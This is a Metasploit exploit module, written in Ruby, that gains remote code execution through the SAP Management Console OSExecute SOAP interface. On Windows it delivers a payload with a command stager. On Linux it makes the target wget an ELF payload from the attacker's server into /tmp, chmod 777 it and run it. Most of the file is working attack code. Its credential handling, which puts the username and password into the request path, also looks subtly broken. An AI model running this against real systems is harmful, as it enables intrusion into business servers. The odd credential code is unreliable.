modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP Management Console OSExecute Payload Execution',
'License' => MSF_LICENSE,
'Author' =>
[
'Chris John Riley', # Original module, windows target
'juan vazquez' # Linux target
],
'Description' => %q{
This module executes an arbitrary payload through the SAP Management Console
SOAP Interface. A valid username and password for the SAP Management Console must
be provided. This module has been tested successfully on both Windows and Linux
platforms running SAP Netweaver. In order to exploit a Linux platform, the target
system must have available the wget command.
},
'References' =>
[
[ 'URL', 'http://blog.c22.cc/toolsscripts/metasploit-modules/sap_mgmt_con_osexecute/' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
},
'Payload' =>
{
'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
},
'Platform' => %w{ linux win },
'Targets' =>
[
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
'CmdStagerFlavor' => 'vbs'
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2011-03-08'
))
register_options(
[
Opt::RPORT(50013),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('USERNAME', [true, 'Username to use', '']),
OptString.new('PASSWORD', [true, 'Password to use', '']),
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the Linux payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download when using Linux target, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
])
register_advanced_options(
[
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 7500]),
])
register_autofilter_ports([ 50013 ])
end
def autofilter
false
end
def check
begin
res = send_soap_request("")
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
if res and res.code == 200 and res.headers['Server'] =~ /gSOAP/ and res.body =~ /OSExecuteResponse/
return Exploit::CheckCode::Appears
elsif res and res.code == 500 and (res.body =~ /Invalid Credentials/ or res.body =~ /Permission denied/)
return Exploit::CheckCode::Detected
elsif res and res.headers['Server'] =~ /gSOAP/
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("#{rhost}:#{rport} - Auto Detecting Remote Platform...")
my_platform = auto_detect
if my_platform.nil?
print_error("#{rhost}:#{rport} - Remote Platform not detected, continue anyway...")
elsif target['Platform'] == my_platform
print_good("#{rhost}:#{rport} - #{target.name} successfully detected...")
else
print_error("#{rhost}:#{rport} - #{target.name} not detected, but #{my_platform}, continue anyway...")
end
if target.name =~ /Windows/
print_status("#{rhost}:#{rport} - Connecting to SAP Management Console SOAP Interface...")
linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 7500
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
elsif target.name =~ /Linux/
exploit_linux
end
end
def auto_detect
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
ns1 = 'ns1:GetEnvironment'
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi
data << '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
begin
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'data' => data,
'ctype' => 'text/xml; charset=UTF-8',
'headers' =>
{
'SOAPAction' => '""'
}
})
if res and res.code == 200 and res.body =~ /OSTYPE=linux/
return "linux"
elsif res and res.code == 200 and res.body =~ /OS=Windows/
return "win"
else
return nil
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
end
end
def send_soap_request(command)
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
ns1 = 'ns1:OSExecute'
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << "<#{ns1} xmlns:ns1=\"urn:SAPControl\"><command>#{command}</command>"
data << '<async>0</async></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
res = send_request_cgi({
'uri' => normalize_uri(datastore['USERNAME'], datastore['PASSWORD']),
'method' => 'POST',
'data' => data,
'ctype' => 'text/xml; charset=UTF-8',
'headers' =>
{
'SOAPAction' => '""'
}
})
return res
end
def exploit_linux
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to download #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
#not working if we send all command together -> lets take three requests
cmd = "wget #{service_url} -O /tmp/#{filename}"
cmd.gsub!(/ /, "${IFS}")
begin
res = send_soap_request("/bin/sh -c #{cmd}")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
end
handle_response(res)
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the SAP Management Console to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
#
# chmod
#
cmd = "chmod 777 /tmp/#{filename}"
cmd.gsub!(/ /, "${IFS}")
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to chmod /tmp/#{filename}")
begin
res = send_soap_request("/bin/sh -c #{cmd}")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
end
handle_response(res)
#
# execute
#
cmd = "/tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to execute /tmp/#{filename}")
begin
res = send_soap_request("/bin/sh -c #{cmd}")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
end
handle_response(res)
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end
# This is method required for the Windows CmdStager to work
def execute_command(cmd, opts)
cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
if cmd_s.length > 1
vprint_status("#{rhost}:#{rport} - Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)")
end
cmd_s = cmd_s.collect(&:strip)
cmd_s.each do |payload|
begin
res = send_soap_request("cmd /c #{payload.strip}")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service")
end
handle_response(res)
end
end
def handle_response(res)
if (res and res.code != 500 and res.code != 200)
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response")
elsif res and res.code == 500
body = res.body
if body.match(/Invalid Credentials/i)
print_error("#{rhost}:#{rport} - The Supplied credentials are incorrect")
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
elsif body.match(/Permission denied/i)
print_error("#{rhost}:#{rport} - The Supplied credentials are valid, but lack OSExecute permissions")
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
end
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working")
end
end
end